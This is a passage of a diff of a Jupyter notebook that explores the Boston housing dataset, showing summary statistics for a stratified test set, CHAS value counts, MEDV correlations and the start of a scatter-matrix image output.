- " 0.000000 \n",
- " 0.612750 \n",
- " 6.539500 \n",
- " 93.500000 \n",
- " 5.609225 \n",
- " 8.000000 \n",
- " 461.000000 \n",
- " 20.200000 \n",
- " 396.900000 \n",
- " 16.267500 \n",
- " 25.000000 \n",
- " \n",
- " \n",
- " max \n",
- " 88.976200 \n",
- " 90.000000 \n",
- " 27.740000 \n",
- " 1.000000 \n",
- " 0.871000 \n",
- " 8.725000 \n",
- " 100.000000 \n",
- " 10.585700 \n",
- " 24.000000 \n",
- " 711.000000 \n",
- " 22.000000 \n",
- " 396.900000 \n",
- " 37.970000 \n",
- " 50.000000 \n",
- " \n",
- " \n",
- "
\n",
- "
"
- ],
- "text/plain": [
- " CRIM ZN INDUS CHAS NOX RM \\\n",
- "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n",
- "mean 3.655942 13.450980 10.312255 0.068627 0.541353 6.303353 \n",
- "std 10.400966 27.503241 6.761154 0.254068 0.111397 0.662996 \n",
- "min 0.009060 0.000000 0.460000 0.000000 0.385000 4.138000 \n",
- "25% 0.057828 0.000000 4.950000 0.000000 0.448000 5.912750 \n",
- "50% 0.176150 0.000000 7.760000 0.000000 0.515000 6.176000 \n",
- "75% 2.061955 0.000000 18.100000 0.000000 0.612750 6.539500 \n",
- "max 88.976200 90.000000 27.740000 1.000000 0.871000 8.725000 \n",
- "\n",
- " AGE DIS RAD TAX PTRATIO B \\\n",
- "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n",
- "mean 66.733333 3.988460 8.813725 391.980392 18.385294 369.670196 \n",
- "std 27.772183 2.131247 8.614667 167.837379 2.310604 68.075774 \n",
- "min 6.500000 1.137000 1.000000 188.000000 12.600000 3.650000 \n",
- "25% 45.850000 2.223650 4.000000 270.000000 16.800000 377.685000 \n",
- "50% 71.100000 3.422950 5.000000 307.000000 19.150000 393.740000 \n",
- "75% 93.500000 5.609225 8.000000 461.000000 20.200000 396.900000 \n",
- "max 100.000000 10.585700 24.000000 711.000000 22.000000 396.900000 \n",
- "\n",
- " LSTAT MEDV \n",
- "count 102.000000 102.000000 \n",
- "mean 12.104314 22.625490 \n",
- "std 6.759257 8.452344 \n",
- "min 2.470000 5.000000 \n",
- "25% 7.480000 18.925000 \n",
- "50% 10.565000 21.500000 \n",
- "75% 16.267500 25.000000 \n",
- "max 37.970000 50.000000 "
- ]
- },
- "execution_count": 14,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "strat_test_set.describe()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 15,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "0 95\n",
- "1 7\n",
- "Name: CHAS, dtype: int64"
- ]
- },
- "execution_count": 15,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "strat_test_set[\"CHAS\"].value_counts()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 16,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "0 376\n",
- "1 28\n",
- "Name: CHAS, dtype: int64"
- ]
- },
- "execution_count": 16,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "strat_train_set[\"CHAS\"].value_counts()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 17,
- "metadata": {},
- "outputs": [],
- "source": [
- "housing = strat_train_set.copy() # use just after split data"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Looking for Correlations"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 18,
- "metadata": {},
- "outputs": [],
- "source": [
- "corr_matrix = housing.corr()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 19,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "MEDV 1.000000\n",
- "RM 0.679894\n",
- "B 0.361761\n",
- "ZN 0.339741\n",
- "DIS 0.240451\n",
- "CHAS 0.205066\n",
- "AGE -0.364596\n",
- "RAD -0.374693\n",
- "CRIM -0.393715\n",
- "NOX -0.422873\n",
- "TAX -0.456657\n",
- "INDUS -0.473516\n",
- "PTRATIO -0.493534\n",
- "LSTAT -0.740494\n",
- "Name: MEDV, dtype: float64"
- ]
- },
- "execution_count": 19,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "corr_matrix[\"MEDV\"].sort_values(ascending=False)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 20,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([[,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " ,\n",
- " ,\n",
- " ],\n",
- " [,\n",
- " ,\n",
- " ,\n",
- " ]], dtype=object)"
- ]
- },
- "execution_count": 20,
- "metadata": {},
- "output_type": "execute_result"
- },
- {
- "data": {
- "image/png": "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